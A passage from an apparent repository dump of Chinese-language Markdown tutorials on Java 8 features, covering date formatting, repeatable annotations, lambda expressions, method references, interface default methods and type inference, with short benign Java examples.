Date.from(instant);\nSystem.out.println(legacyDate);     // Wed Dec 31 23:59:59 CET 2014\n```\n\n格式化LocalDateTime和格式化时间和日期一样的，除了使用预定义好的格式外，我们也可以自己定义格式：\n\n```java\nDateTimeFormatter formatter =\n    DateTimeFormatter\n        .ofPattern(\"MMM dd, yyyy - HH:mm\");\nLocalDateTime parsed = LocalDateTime.parse(\"Nov 03, 2014 - 07:13\", formatter);\nString string = formatter.format(parsed);\nSystem.out.println(string);     // Nov 03, 2014 - 07:13\n```\n\n和java.text.NumberFormat不一样的是新版的DateTimeFormatter是不可变的，所以它是线程安全的。\n关于时间日期格式的详细信息在[这里](https://docs.oracle.com/javase/8/docs/api/java/time/format/DateTimeFormatter.html)。\n\n## Annotations(注解)\n\n在Java 8中支持多重注解了，先看个例子来理解一下是什么意思。\n首先定义一个包装类Hints注解用来放置一组具体的Hint注解：\n\n```java\n@interface Hints {\n    Hint[] value();\n}\n@Repeatable(Hints.class)\n@interface Hint {\n    String value();\n}\n```\n\nJava 8允许我们把同一个类型的注解使用多次，只需要给该注解标注一下`@Repeatable`即可。\n\n例 1: 使用包装类当容器来存多个注解（老方法）\n\n```java\n@Hints({@Hint(\"hint1\"), @Hint(\"hint2\")})\nclass Person {}\n```\n\n例 2：使用多重注解（新方法）\n\n```java\n@Hint(\"hint1\")\n@Hint(\"hint2\")\nclass Person {}\n```\n\n第二个例子里java编译器会隐性的帮你定义好@Hints注解，了解这一点有助于你用反射来获取这些信息：\n\n```java\nHint hint = Person.class.getAnnotation(Hint.class);\nSystem.out.println(hint);                   // null\nHints hints1 = Person.class.getAnnotation(Hints.class);\nSystem.out.println(hints1.value().length);  // 2\n\nHint[] hints2 = Person.class.getAnnotationsByType(Hint.class);\nSystem.out.println(hints2.length);          // 2\n```\n\n即便我们没有在 `Person`类上定义 `@Hints`注解，我们还是可以通过 `getAnnotation(Hints.class) `来获取 `@Hints`注解，更加方便的方法是使用 `getAnnotationsByType` 可以直接获取到所有的`@Hint`注解。\n另外Java 8的注解还增加到两种新的target上了：\n\n```java\n@Target({ElementType.TYPE_PARAMETER, ElementType.TYPE_USE})\n@interface MyAnnotation {}\n```\n\n\n\n## Whete to go from here?\n\n关于Java 8的新特性就写到这了，肯定还有更多的特性等待发掘。JDK 1.8里还有很多很有用的东西，比如`Arrays.parallelSort`, `StampedLock`和`CompletableFuture`等等。\n\n"
  },
  {
    "path": "docs/java/What's New in JDK8/Java8教程推荐.md",
    "content": "\n\n### 书籍\n\n- **《Java8 In Action》**\n- **《写给大忙人看的Java SE 8》**\n\n上述书籍的PDF版本见 https://shimo.im/docs/CPB0PK05rP4CFmI2/ 中的 “Java 书籍推荐”。\n\n### 开源文档\n\n- **【译】Java 8 简明教程**：<https://github.com/wizardforcel/modern-java-zh>\n- **30 seconds of java8:**  <https://github.com/biezhi/30-seconds-of-java8>\n\n### 视频\n\n- **尚硅谷 Java 8 新特性**\n\n视频资源见： https://shimo.im/docs/CPB0PK05rP4CFmI2/ 。\n\n"
  },
  {
    "path": "docs/java/What's New in JDK8/Lambda表达式.md",
    "content": "JDK8--Lambda表达式\n===\n## 1.什么是Lambda表达式\n**Lambda表达式实质上是一个可传递的代码块，Lambda又称为闭包或者匿名函数，是函数式编程语法，让方法可以像普通参数一样传递**\n\n## 2.Lambda表达式语法\n```(参数列表) -> {执行代码块}```\n<br>参数列表可以为空```()->{}```\n<br>可以加类型声明比如```(String para1, int para2) -> {return para1 + para2;}```我们可以看到，lambda同样可以有返回值.\n<br>在编译器可以推断出类型的时候，可以将类型声明省略，比如```(para1, para2) -> {return para1 + para2;}```\n<br>(lambda有点像动态类型语言语法。lambda在字节码层面是用invokedynamic实现的，而这条指令就是为了让JVM更好的支持运行在其上的动态类型语言)\n\n## 3.函数式接口\n在了解Lambda表达式之前，有必要先了解什么是函数式接口```(@FunctionalInterface)```<br>\n**函数式接口指的是有且只有一个抽象(abstract)方法的接口**<br>\n当需要一个函数式接口的对象时，就可以用Lambda表达式来实现，举个常用的例子:\n<br>\n```java\n  Thread thread = new Thread(() -> {\n      System.out.println(\"This is JDK8's Lambda!\");\n  });\n```\n这段代码和函数式接口有啥关系？我们回忆一下，Thread类的构造函数里是不是有一个以Runnable接口为参数的？\n```java\npublic Thread(Runnable target) {...}\n\n/**\n * Runnable Interface\n */\n@FunctionalInterface\npublic interface Runnable {  \n    public abstract void run();\n}\n```\n到这里大家可能已经明白了，**Lambda表达式相当于一个匿名类或者说是一个匿名方法**。上面Thread的例子相当于\n```java\n  Thread thread = new Thread(new Runnable() {\n      @Override\n      public void run() {\n          System.out.println(\"Anonymous class\");\n      }\n  });\n```\n也就是说，上面的lambda表达式相当于实现了这个run()方法，然后当做参数传入(个人感觉可以这么理解,lambda表达式就是一个函数，只不过它的返回值、参数列表都\n由编译器帮我们推断，因此可以减少很多代码量)。\n<br>Lambda也可以这样用 :\n```java\n  Runnable runnable = () -> {...};\n```\n其实这和上面的用法没有什么本质上的区别。\n<br>至此大家应该明白什么是函数式接口以及函数式接口和lambda表达式之间的关系了。在JDK8中修改了接口的规范，\n目的是为了在给接口添加新的功能时保持向前兼容(个人理解)，比如一个已经定义了的函数式接口，某天我们想给它添加新功能，那么就不能保持向前兼容了，\n因为在旧的接口规范下，添加新功能必定会破坏这个函数式接口[(JDK8中接口规范)]()\n<br>\n除了上面说的Runnable接口之外，JDK中已经存在了很多函数式接口\n比如(当然不止这些):\n- ```java.util.concurrent.Callable```\n- ```java.util.Comparator```\n- ```java.io.FileFilter```\n<br>**关于JDK中的预定义的函数式接口**\n\n- JDK在```java.util.function```下预定义了很多函数式接口\n  - ```Function<T, R> {R apply(T t);}``` 接受一个T对象，然后返回一个R对象，就像普通的函数。\n  - ```Consumer<T> {void accept(T t);}``` 消费者 接受一个T对象，没有返回值。\n  - ```Predicate<T> {boolean test(T t);}``` 判断，接受一个T对象，返回一个布尔值。\n  - ```Supplier<T> {T get();} 提供者(工厂)``` 返回一个T对象。\n  - 其他的跟上面的相似，大家可以看一下function包下的具体接口。\n## 4.变量作用域\n```java\npublic class VaraibleHide {\n    @FunctionalInterface\n    interface IInner {\n        void printInt(int x);\n    }\n    public static void main(String[] args) {\n        int x = 20;\n        IInner inner = new IInner() {\n            int x = 10;\n            @Override\n            public void printInt(int x) {\n                System.out.println(x);\n            }\n        };\n        inner.printInt(30);\n        \n        inner = (s) -> {\n            //Variable used in lambda expression should be final or effectively final\n            //!int x = 10;\n            //!x= 50; error\n            System.out.print(x);\n        };\n        inner.printInt(30);\n    }\n}\n输出 :\n30\n20\n```\n对于lambda表达式```java inner = (s) -> {System.out.print(x);};```,变量x并不是在lambda表达式中定义的，像这样并不是在lambda中定义或者通过lambda的参数列表()获取的变量成为自由变量，它是被lambda表达式捕获的。\n<br>lambda表达式和内部类一样，对外部自由变量捕获时，外部自由变量必须为final或者是最终变量(effectively final)的，也就是说这个变量初始化后就不能为它赋新值，\n同时lambda不像内部类/匿名类，lambda表达式与外围嵌套块有着相同的作用域，因此对变量命名的有关规则对lambda同样适用。大家阅读上面的代码对这些概念应该\n不难理解。\n## 5.方法引用\n**只需要提供方法的名字，具体的调用过程由Lambda和函数式接口来确定，这样的方法调用成为方法引用。**\n<br>下面的例子会打印list中的每个元素:\n```java\nList<Integer> list = new ArrayList<>();\n        for (int i = 0; i < 10; ++i) {\n            list.add(i);\n        }\n        list.forEach(System.out::println);\n```\n其中```System.out::println```这个就是一个方法引用，等价于Lambda表达式 ```(para)->{System.out.println(para);}```\n<br>我们看一下List#forEach方法 ```default void forEach(Consumer<? super T> action)```可以看到它的参数是一个Consumer接口，该接口是一个函数式接口\n```java\n@FunctionalInterface\npublic interface Consumer<T> {\n    void accept(T t);\n```\n大家能发现这个函数接口的方法和```System.out::println```有什么相似的么？没错，它们有着相似的参数列表和返回值。\n<br>我们自己定义一个方法，看看能不能像标准输出的打印函数一样被调用\n```java\npublic class MethodReference {\n    public static void main(String[] args) {\n        List<Integer> list = new ArrayList<>();\n        for (int i = 0; i < 10; ++i) {\n            list.add(i);\n        }\n        list.forEach(MethodReference::myPrint);\n    }\n\n    static void myPrint(int i) {\n        System.out.print(i + \", \");\n    }\n}\n\n输出: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, \n```\n可以看到，我们自己定义的方法也可以当做方法引用。\n<br>到这里大家多少对方法引用有了一定的了解，我们再来说一下方法引用的形式。\n- 方法引用\n  - 类名::静态方法名\n  - 类名::实例方法名\n  - 类名::new (构造方法引用)\n  - 实例名::实例方法名\n可以看出，方法引用是通过(方法归属名)::(方法名)来调用的。通过上面的例子已经讲解了一个`类名::静态方法名`的使用方法了，下面再依次介绍其余的几种\n方法引用的使用方法。<br>\n**类名::实例方法名**<br>\n先来看一段代码\n```java\n  String[] strings = new String[10];\n  Arrays.sort(strings, String::compareToIgnoreCase);\n```\n**上面的String::compareToIgnoreCase等价于(x, y) -> {return x.compareToIgnoreCase(y);}**<br>\n我们看一下`Arrays#sort`方法`public static <T> void sort(T[] a, Comparator<? super T> c)`,\n可以看到第二个参数是一个Comparator接口，该接口也是一个函数式接口，其中的抽象方法是`int compare(T o1, T o2);`，再看一下\n`String#compareToIgnoreCase`方法,`public int compareToIgnoreCase(String str)`，这个方法好像和上面讲方法引用中`类名::静态方法名`不大一样啊，它\n的参数列表和函数式接口的参数列表不一样啊，虽然它的返回值一样？\n<br>是的，确实不一样但是别忘了，String类的这个方法是个实例方法，而不是静态方法，也就是说，这个方法是需要有一个接收者的。所谓接收者就是\ninstance.method(x)中的instance，\n它是某个类的实例，有的朋友可能已经明白了。上面函数式接口的`compare(T o1, T o2)`中的第一个参数作为了实例方法的接收者，而第二个参数作为了实例方法的\n参数。我们再举一个自己实现的例子:\n```java\npublic class MethodReference {\n    static Random random = new Random(47);\n    public static void main(String[] args) {\n        MethodReference[] methodReferences = new MethodReference[10];\n        Arrays.sort(methodReferences, MethodReference::myCompare);\n    }\n    int myCompare(MethodReference o) {\n        return random.nextInt(2) - 1;\n    }\n}\n```\n上面的例子可以在IDE里通过编译，大家有兴趣的可以模仿上面的例子自己写一个程序，打印出排序后的结果。\n<br>**构造器引用**<br>\n构造器引用仍然需要与特定的函数式接口配合使用，并不能像下面这样直接使用。IDE会提示String不是一个函数式接口\n```java\n  //compile error : String is not a functional interface\n  String str = String::new;\n```\n下面是一个使用构造器引用的例子，可以看出构造器引用可以和这种工厂型的函数式接口一起使用的。\n```java\n  interface IFunctional<T> {\n    T func();\n}\n\npublic class ConstructorReference {\n\n    public ConstructorReference() {\n    }\n\n    public static void main(String[] args) {\n        Supplier<ConstructorReference> supplier0 = () -> new ConstructorReference();\n        Supplier<ConstructorReference> supplier1 = ConstructorReference::new;\n        IFunctional<ConstructorReference> functional = () -> new ConstructorReference();\n        IFunctional<ConstructorReference> functional1 = ConstructorReference::new;\n    }\n}\n```\n下面是一个JDK官方的例子\n```java\n  public static <T, SOURCE extends Collection<T>, DEST extends Collection<T>>\n    DEST transferElements(\n        SOURCE sourceCollection,\n        Supplier<DEST> collectionFactory) {\n\n        DEST result = collectionFactory.get();\n        for (T t : sourceCollection) {\n            result.add(t);\n        }\n        return result;\n    }\n    \n    ...\n    \n    Set<Person> rosterSet = transferElements(\n            roster, HashSet::new);\n```\n\n**实例::实例方法**\n<br>\n其实开始那个例子就是一个实例::实例方法的引用\n```java\nList<Integer> list = new ArrayList<>();\n        for (int i = 0; i < 10; ++i) {\n            list.add(i);\n        }\n        list.forEach(System.out::println);\n```\n其中System.out就是一个实例，println是一个实例方法。相信不用再给大家做解释了。\n## 总结\nLambda表达式是JDK8引入Java的函数式编程语法，使用Lambda需要直接或者间接的与函数式接口配合，在开发中使用Lambda可以减少代码量，\n但是并不是说必须要使用Lambda(虽然它是一个很酷的东西)。有些情况下使用Lambda会使代码的可读性急剧下降，并且也节省不了多少代码，\n所以在实际开发中还是需要仔细斟酌是否要使用Lambda。和Lambda相似的还有JDK10中加入的var类型推断，同样对于这个特性需要斟酌使用。\n"
  },
  {
    "path": "docs/java/What's New in JDK8/README.md",
    "content": "JDK8新特性总结\n======\n总结了部分JDK8新特性，另外一些新特性可以通过Oracle的官方文档查看，毕竟是官方文档，各种新特性都会介绍，有兴趣的可以去看。<br>\n[Oracle官方文档:What's New in JDK8](https://www.oracle.com/technetwork/java/javase/8-whats-new-2157071.html)\n-----\n- [Java语言特性](#JavaProgrammingLanguage)\n  - [Lambda表达式是一个新的语言特性，已经在JDK8中加入。它是一个可以传递的代码块，你也可以把它们当做方法参数。\n  Lambda表达式允许您更紧凑地创建单虚方法接口（称为功能接口）的实例。](#LambdaExpressions)\n  \n  - [方法引用为已经存在的具名方法提供易于阅读的Lambda表达式](#MethodReferences)\n  \n  - [默认方法允许将新功能添加到库的接口，并确保与为这些接口的旧版本编写的代码的二进制兼容性。](#DefaultMethods)\n  \n  - [改进的类型推断。](#ImprovedTypeInference)\n      \n  - [方法参数反射(通过反射获得方法参数信息)](#MethodParameterReflection)  \n  \n- [流(stream)](#stream)\n  - [新java.util.stream包中的类提供Stream API以支持对元素流的功能样式操作。流(stream)和I/O里的流不是同一个概念\n     ，使用stream API可以更方便的操作集合。]()\n  \n- [国际化]()\n   - 待办\n- 待办\n___ \n<!-- ---------------------------------------------------Lambda表达式-------------------------------------------------------- -->\n<!-- 标题与跳转-->\n<span id=\"JavaProgrammingLanguage\"></span> \n<span id=\"LambdaExpressions\"></span>\n<!-- 标题与跳转结束-->\n<!-- 正文-->\n\n## 　　　　　　　　　　　　　Lambda表达式\n### 1.什么是Lambda表达式\n**Lambda表达式实质上是一个可传递的代码块，Lambda又称为闭包或者匿名函数，是函数式编程语法，让方法可以像普通参数一样传递**\n\n### 2.Lambda表达式语法\n```(参数列表) -> {执行代码块}```\n<br>参数列表可以为空```()->{}```\n<br>可以加类型声明比如```(String para1, int para2) -> {return para1 + para2;}```我们可以看到，lambda同样可以有返回值.\n<br>在编译器可以推断出类型的时候，可以将类型声明省略，比如```(para1, para2) -> {return para1 + para2;}```\n<br>(lambda有点像动态类型语言语法。lambda在字节码层面是用invokedynamic实现的，而这条指令就是为了让JVM更好的支持运行在其上的动态类型语言)\n\n### 3.函数式接口\n在了解Lambda表达式之前，有必要先了解什么是函数式接口```(@FunctionalInterface)```<br>\n**函数式接口指的是有且只有一个抽象(abstract)方法的接口**<br>\n当需要一个函数式接口的对象时，就可以用Lambda表达式来实现，举个常用的例子:\n<br>\n```java\n  Thread thread = new Thread(() -> {\n      System.out.println(\"This is JDK8's Lambda!\");\n  });\n```\n这段代码和函数式接口有啥关系？我们回忆一下，Thread类的构造函数里是不是有一个以Runnable接口为参数的？\n```java\npublic Thread(Runnable target) {...}\n\n/**\n * Runnable Interface\n */\n@FunctionalInterface\npublic interface Runnable {  \n    public abstract void run();\n}\n```\n到这里大家可能已经明白了，**Lambda表达式相当于一个匿名类或者说是一个匿名方法**。上面Thread的例子相当于\n```java\n  Thread thread = new Thread(new Runnable() {\n      @Override\n      public void run() {\n          System.out.println(\"Anonymous class\");\n      }\n  });\n```\n也就是说，上面的lambda表达式相当于实现了这个run()方法，然后当做参数传入(个人感觉可以这么理解,lambda表达式就是一个函数，只不过它的返回值、参数列表都\n由编译器帮我们推断，因此可以减少很多代码量)。\n<br>Lambda也可以这样用 :\n```java\n  Runnable runnable = () -> {...};\n```\n其实这和上面的用法没有什么本质上的区别。\n<br>至此大家应该明白什么是函数式接口以及函数式接口和lambda表达式之间的关系了。在JDK8中修改了接口的规范，\n目的是为了在给接口添加新的功能时保持向前兼容(个人理解)，比如一个已经定义了的函数式接口，某天我们想给它添加新功能，那么就不能保持向前兼容了，\n因为在旧的接口规范下，添加新功能必定会破坏这个函数式接口[(JDK8中接口规范)]()\n<br>\n除了上面说的Runnable接口之外，JDK中已经存在了很多函数式接口\n比如(当然不止这些):\n- ```java.util.concurrent.Callable```\n- ```java.util.Comparator```\n- ```java.io.FileFilter```\n<br>**关于JDK中的预定义的函数式接口**\n\n- JDK在```java.util.function```下预定义了很多函数式接口\n  - ```Function<T, R> {R apply(T t);}``` 接受一个T对象，然后返回一个R对象，就像普通的函数。\n  - ```Consumer<T> {void accept(T t);}``` 消费者 接受一个T对象，没有返回值。\n  - ```Predicate<T> {boolean test(T t);}``` 判断，接受一个T对象，返回一个布尔值。\n  - ```Supplier<T> {T get();} 提供者(工厂)``` 返回一个T对象。\n  - 其他的跟上面的相似，大家可以看一下function包下的具体接口。\n### 4.变量作用域\n```java\npublic class VaraibleHide {\n    @FunctionalInterface\n    interface IInner {\n        void printInt(int x);\n    }\n    public static void main(String[] args) {\n        int x = 20;\n        IInner inner = new IInner() {\n            int x = 10;\n            @Override\n            public void printInt(int x) {\n                System.out.println(x);\n            }\n        };\n        inner.printInt(30);\n        \n        inner = (s) -> {\n            //Variable used in lambda expression should be final or effectively final\n            //!int x = 10;\n            //!x= 50; error\n            System.out.print(x);\n        };\n        inner.printInt(30);\n    }\n}\n输出 :\n30\n20\n```\n对于lambda表达式```java inner = (s) -> {System.out.print(x);};```,变量x并不是在lambda表达式中定义的，像这样并不是在lambda中定义或者通过lambda\n的参数列表()获取的变量成为自由变量，它是被lambda表达式捕获的。\n<br>lambda表达式和内部类一样，对外部自由变量捕获时，外部自由变量必须为final或者是最终变量(effectively final)的，也就是说这个变量初始化后就不能为它赋新值，同时lambda不像内部类/匿名类，lambda表达式与外围嵌套块有着相同的作用域，因此对变量命名的有关规则对lambda同样适用。大家阅读上面的代码对这些概念应该不难理解。\n<span id=\"MethodReferences\"></span>\n### 5.方法引用\n**只需要提供方法的名字，具体的调用过程由Lambda和函数式接口来确定，这样的方法调用成为方法引用。**\n<br>下面的例子会打印list中的每个元素:\n```java\nList<Integer> list = new ArrayList<>();\n        for (int i = 0; i < 10; ++i) {\n            list.add(i);\n        }\n        list.forEach(System.out::println);\n```\n其中```System.out::println```这个就是一个方法引用，等价于Lambda表达式 ```(para)->{System.out.println(para);}```\n<br>我们看一下List#forEach方法 ```default void forEach(Consumer<? super T> action)```可以看到它的参数是一个Consumer接口，该接口是一个函数式接口\n```java\n@FunctionalInterface\npublic interface Consumer<T> {\n    void accept(T t);\n```\n大家能发现这个函数接口的方法和```System.out::println```有什么相似的么？没错，它们有着相似的参数列表和返回值。\n<br>我们自己定义一个方法，看看能不能像标准输出的打印函数一样被调用\n```java\npublic class MethodReference {\n    public static void main(String[] args) {\n        List<Integer> list = new ArrayList<>();\n        for (int i = 0; i < 10; ++i) {\n            list.add(i);\n        }\n        list.forEach(MethodReference::myPrint);\n    }\n\n    static void myPrint(int i) {\n        System.out.print(i + \", \");\n    }\n}\n\n输出: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, \n```\n可以看到，我们自己定义的方法也可以当做方法引用。\n<br>到这里大家多少对方法引用有了一定的了解，我们再来说一下方法引用的形式。\n- 方法引用\n  - 类名::静态方法名\n  - 类名::实例方法名\n  - 类名::new (构造方法引用)\n  - 实例名::实例方法名\n可以看出，方法引用是通过(方法归属名)::(方法名)来调用的。通过上面的例子已经讲解了一个`类名::静态方法名`的使用方法了，下面再依次介绍其余的几种\n方法引用的使用方法。<br>\n**类名::实例方法名**<br>\n先来看一段代码\n```java\n  String[] strings = new String[10];\n  Arrays.sort(strings, String::compareToIgnoreCase);\n```\n**上面的String::compareToIgnoreCase等价于(x, y) -> {return x.compareToIgnoreCase(y);}**<br>\n我们看一下`Arrays#sort`方法`public static <T> void sort(T[] a, Comparator<? super T> c)`,\n可以看到第二个参数是一个Comparator接口，该接口也是一个函数式接口，其中的抽象方法是`int compare(T o1, T o2);`，再看一下\n`String#compareToIgnoreCase`方法,`public int compareToIgnoreCase(String str)`，这个方法好像和上面讲方法引用中`类名::静态方法名`不大一样啊，它\n的参数列表和函数式接口的参数列表不一样啊，虽然它的返回值一样？\n<br>是的，确实不一样但是别忘了，String类的这个方法是个实例方法，而不是静态方法，也就是说，这个方法是需要有一个接收者的。所谓接收者就是\ninstance.method(x)中的instance，\n它是某个类的实例，有的朋友可能已经明白了。上面函数式接口的`compare(T o1, T o2)`中的第一个参数作为了实例方法的接收者，而第二个参数作为了实例方法的\n参数。我们再举一个自己实现的例子:\n```java\npublic class MethodReference {\n    static Random random = new Random(47);\n    public static void main(String[] args) {\n        MethodReference[] methodReferences = new MethodReference[10];\n        Arrays.sort(methodReferences, MethodReference::myCompare);\n    }\n    int myCompare(MethodReference o) {\n        return random.nextInt(2) - 1;\n    }\n}\n```\n上面的例子可以在IDE里通过编译，大家有兴趣的可以模仿上面的例子自己写一个程序，打印出排序后的结果。\n<br>**构造器引用**<br>\n构造器引用仍然需要与特定的函数式接口配合使用，并不能像下面这样直接使用。IDE会提示String不是一个函数式接口\n```java\n  //compile error : String is not a functional interface\n  String str = String::new;\n```\n下面是一个使用构造器引用的例子，可以看出构造器引用可以和这种工厂型的函数式接口一起使用的。\n```java\n  interface IFunctional<T> {\n    T func();\n}\n\npublic class ConstructorReference {\n\n    public ConstructorReference() {\n    }\n\n    public static void main(String[] args) {\n        Supplier<ConstructorReference> supplier0 = () -> new ConstructorReference();\n        Supplier<ConstructorReference> supplier1 = ConstructorReference::new;\n        IFunctional<ConstructorReference> functional = () -> new ConstructorReference();\n        IFunctional<ConstructorReference> functional1 = ConstructorReference::new;\n    }\n}\n```\n下面是一个JDK官方的例子\n```java\n  public static <T, SOURCE extends Collection<T>, DEST extends Collection<T>>\n    DEST transferElements(\n        SOURCE sourceCollection,\n        Supplier<DEST> collectionFactory) {\n\n        DEST result = collectionFactory.get();\n        for (T t : sourceCollection) {\n            result.add(t);\n        }\n        return result;\n    }\n    \n    ...\n    \n    Set<Person> rosterSet = transferElements(\n            roster, HashSet::new);\n```\n\n**实例::实例方法**\n<br>\n其实开始那个例子就是一个实例::实例方法的引用\n```java\nList<Integer> list = new ArrayList<>();\n        for (int i = 0; i < 10; ++i) {\n            list.add(i);\n        }\n        list.forEach(System.out::println);\n```\n其中System.out就是一个实例，println是一个实例方法。相信不用再给大家做解释了。\n### 总结\nLambda表达式是JDK8引入Java的函数式编程语法，使用Lambda需要直接或者间接的与函数式接口配合，在开发中使用Lambda可以减少代码量，\n但是并不是说必须要使用Lambda(虽然它是一个很酷的东西)。有些情况下使用Lambda会使代码的可读性急剧下降，并且也节省不了多少代码，\n所以在实际开发中还是需要仔细斟酌是否要使用Lambda。和Lambda相似的还有JDK10中加入的var类型推断，同样对于这个特性需要斟酌使用。\n\n<!-- ---------------------------------------------------Lambda表达式结束---------------------------------------------------- -->\n___\n<!-- ---------------------------------------------------接口默认方法-------------------------------------------------------- -->\n<span id=\"DefaultMethods\"></span>\n## 　　　　　　　　　　　　　JDK8接口规范\n### 在JDK8中引入了lambda表达式，出现了函数式接口的概念，为了在扩展接口时保持向前兼容性(JDK8之前扩展接口会使得实现了该接口的类必须实现添加的方法，否则会报错。为了保持兼容性而做出妥协的特性还有泛型，泛型也是为了保持兼容性而失去了在一些别的语言泛型拥有的功能)，Java接口规范发生了一些改变。\n### 1.JDK8以前的接口规范\n- JDK8以前接口可以定义的变量和方法\n   - 所有变量(Field)不论是否<i>显式</i> 的声明为```public static final```，它实际上都是```public static final```的。\n   - 所有方法(Method)不论是否<i>显示</i> 的声明为```public abstract```，它实际上都是```public abstract```的。\n```java\npublic interface AInterfaceBeforeJDK8 {\n    int FIELD = 0;\n    void simpleMethod();\n}\n```\n以上接口信息反编译以后可以看到字节码信息里Filed是public static final的，而方法是public abstract的，即是你没有显示的去声明它。\n```java\n{\n    public static final int FIELD;\n    descriptor: I\n    flags: (0x0019) ACC_PUBLIC, ACC_STATIC, ACC_FINAL\n    ConstantValue: int 0\n\n  public abstract void simpleMethod();\n    descriptor: ()V\n    flags: (0x0401) ACC_PUBLIC, ACC_ABSTRACT\n}\n```\n### 2.JDK8之后的接口规范\n- JDK8之后接口可以定义的变量和方法\n  - 变量(Field)仍然必须是 ```java public static final```的\n  - 方法(Method)除了可以是public abstract之外，还可以是public static或者是default(相当于仅public修饰的实例方法)的。\n从以上改变不难看出，修改接口的规范主要是为了能在扩展接口时保持向前兼容。\n<br>下面是一个JDK8之后的接口例子\n```java\npublic interface AInterfaceInJDK8 {\n    int simpleFiled = 0;\n    static int staticField = 1;\n\n    public static void main(String[] args) {\n    }\n    static void staticMethod(){}\n\n    default void defaultMethod(){}\n\n    void simpleMethod() throws IOException;\n\n}\n```\n进行反编译(去除了一些没用信息)\n```java\n{\n  public static final int simpleFiled;\n    flags: (0x0019) ACC_PUBLIC, ACC_STATIC, ACC_FINAL\n\n  public static final int staticField;\n    flags: (0x0019) ACC_PUBLIC, ACC_STATIC, ACC_FINAL\n\n  public static void main(java.lang.String[]);\n    flags: (0x0009) ACC_PUBLIC, ACC_STATIC\n    \n  public static void staticMethod();\n    flags: (0x0009) ACC_PUBLIC, ACC_STATIC\n\n  public void defaultMethod();\n    flags: (0x0001) ACC_PUBLIC\n\n  public abstract void simpleMethod() throws java.io.IOException;\n    flags: (0x0401) ACC_PUBLIC, ACC_ABSTRACT\n    Exceptions:\n      throws java.io.IOException\n}\n```\n可以看到 default关键字修饰的方法是像实例方法(就是普通类中定义的普通方法)一样定义的，所以我们来定义一个只有default方法的接口并且实现一下这个接口试一\n试。\n```java\ninterface Default {\n    default int defaultMethod() {\n        return 4396;\n    }\n}\n\npublic class DefaultMethod implements Default {\n    public static void main(String[] args) {\n        DefaultMethod defaultMethod = new DefaultMethod();\n        System.out.println(defaultMethod.defaultMethod());\n        //compile error : Non-static method 'defaultMethod()' cannot be referenced from a static context\n        //! DefaultMethod.defaultMethod();\n    }\n}\n```\n可以看到default方法确实像实例方法一样，必须有实例对象才能调用，并且子类在实现接口时，可以不用实现default方法，也可以选择覆盖该方法。\n这有点像子类继承父类实例方法。\n<br>\n接口静态方法就像是类静态方法，唯一的区别是**接口静态方法只能通过接口名调用，而类静态方法既可以通过类名调用也可以通过实例调用**\n```java\ninterface Static {\n    static int staticMethod() {\n        return 4396;\n    }\n}\n ... main(String...args)\n    //!compile error: Static method may be invoked on containing interface class only\n    //!aInstanceOfStatic.staticMethod();\n ...\n```\n另一个问题是多继承问题，大家知道Java中类是不支持多继承的，但是接口是多继承和多实现(implements后跟多个接口)的，\n那么如果一个接口继承另一个接口，两个接口都有同名的default方法会怎么样呢？答案是会像类继承一样覆写(@Override)，以下代码在IDE中可以顺利编译\n```java\ninterface Default {\n    default int defaultMethod() {\n        return 4396;\n    }\n}\ninterface Default2 extends Default {\n    @Override\n    default int defaultMethod() {\n        return 9527;\n    }\n}\npublic class DefaultMethod implements Default,Default2 {\n    public static void main(String[] args) {\n        DefaultMethod defaultMethod = new DefaultMethod();\n        System.out.println(defaultMethod.defaultMethod());\n    }\n}\n\n输出 : 9527\n```\n出现上面的情况时，会优先找继承树上近的方法，类似于“短路优先”。\n<br>\n那么如果一个类实现了两个没有继承关系的接口，且这两个接口有同名方法的话会怎么样呢？IDE会要求你重写这个冲突的方法，让你自己选择去执行哪个方法，因为IDE它还没智能到你不告诉它，它就知道你想执行哪个方法。可以通过```java 接口名.super```指针来访问接口中定义的实例(default)方法。\n```java\ninterface Default {\n    default int defaultMethod() {\n        return 4396;\n    }\n}\n\ninterface Default2 {\n    default int defaultMethod() {\n        return 9527;\n    }\n}\n//如果不重写\n//compile error : defaults.DefaultMethod inherits unrelated defaults for defaultMethod() from types defaults.Default and defaults.Default2\npublic class DefaultMethod implements Default,Default2 {\n@Override\n    public int defaultMethod() {\n        System.out.println(Default.super.defaultMethod());\n        System.out.println(Default2.super.defaultMethod());\n        return 996;\n    }\n    public static void main(String[] args) {\n        DefaultMethod defaultMethod = new DefaultMethod();\n        System.out.println(defaultMethod.defaultMethod());\n    }\n}\n\n运行输出 : \n4396\n9527\n996\n```\n\n<!-- ---------------------------------------------------接口默认方法结束---------------------------------------------------- -->\n___\n<!-- --------------------------------------------------- 改进的类型推断 ---------------------------------------------------- -->\n<span id=\"ImprovedTypeInference\"></span>\n## 　　　　　　　　　　　　　改进的类型推断\n### 1.什么是类型推断\n类型推断就像它的字面意思一样，编译器根据<b><i>你显示声明的已知的信息</i></b> 推断出你没有显示声明的类型，这就是类型推断。\n看过《Java编程思想 第四版》的朋友可能还记得里面讲解泛型一章的时候，里面很多例子是下面这样的:\n```java\n  Map<String, Object> map = new Map<String, Object>();\n```\n而我们平常写的都是这样的:\n```java\n  Map<String, Object> map = new Map<>();\n```\n这就是类型推断，《Java编程思想 第四版》这本书出书的时候最新的JDK只有1.6(JDK7推出的类型推断)，在Java编程思想里Bruce Eckel大叔还提到过这个问题\n(可能JDK的官方人员看了Bruce Eckel大叔的Thinking in Java才加的类型推断，☺)，在JDK7中推出了上面这样的类型推断，可以减少一些无用的代码。\n(Java编程思想到现在还只有第四版，是不是因为Bruce Eckel大叔觉得Java新推出的语言特性“然并卵”呢？/滑稽)\n<br>\n在JDK7中，类型推断只有上面例子的那样的能力，即只有在使用**赋值语句**时才能自动推断出泛型参数信息(即<>里的信息)，下面的官方文档里的例子在JDK7里会编译\n错误\n```java\n  List<String> stringList = new ArrayList<>();\n  stringList.add(\"A\");\n  //error : addAll(java.util.Collection<? extends java.lang.String>)in List cannot be applied to (java.util.List<java.lang.Object>)\n  stringList.addAll(Arrays.asList());  \n```\n但是上面的代码在JDK8里可以通过，也就说，JDK8里，类型推断不仅可以用于赋值语句，而且可以根据代码中上下文里的信息推断出更多的信息，因此我们需要些的代码\n会更少。加强的类型推断还有一个就是用于Lambda表达式了。\n<br>\n大家其实不必细究类型推断，在日常使用中IDE会自动判断，当IDE自己无法推断出足够的信息时，就需要我们额外做一下工作，比如在<>里添加更多的类型信息，\n相信随着Java的进化，这些便利的功能会越来越强大。\n\n<!-- --------------------------------------------------- 